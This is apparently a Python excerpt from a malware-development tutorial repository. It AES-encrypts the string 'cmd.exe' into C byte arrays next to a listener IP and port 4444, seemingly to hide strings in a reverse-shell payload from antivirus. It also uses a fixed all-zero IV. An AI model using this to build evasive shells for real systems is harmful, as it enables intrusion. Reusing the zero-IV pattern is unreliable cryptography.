INNER CODE UNIT · Python
AESencrypt
cocomelonc/meow · 2021-09-15-rev-c-1/enc-aes.py:25
def AESencrypt(plaintext, key):
k = hashlib.sha256(key).digest()
iv = 16 * '\x00'
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, iv.encode("UTF-8"))
ciphertext = cipher.encrypt(plaintext.encode("UTF-8"))
ciphertext, key = convert(ciphertext), convert(key)
ciphertext = '{' + (' 0x'.join(x + "," for x in ciphertext)).strip(",") + ' };'
key = '{' + (' 0x'.join(x + "," for x in key)).strip(",") + ' };'
return ciphertext, key
my_secret_key = urandom(16)
ip, port = "10.9.1.6", "4444"
## process cmd.exe
plaintext = "cmd.exe"
ciphertext, key = AESencrypt(plaintext, my_secret_key)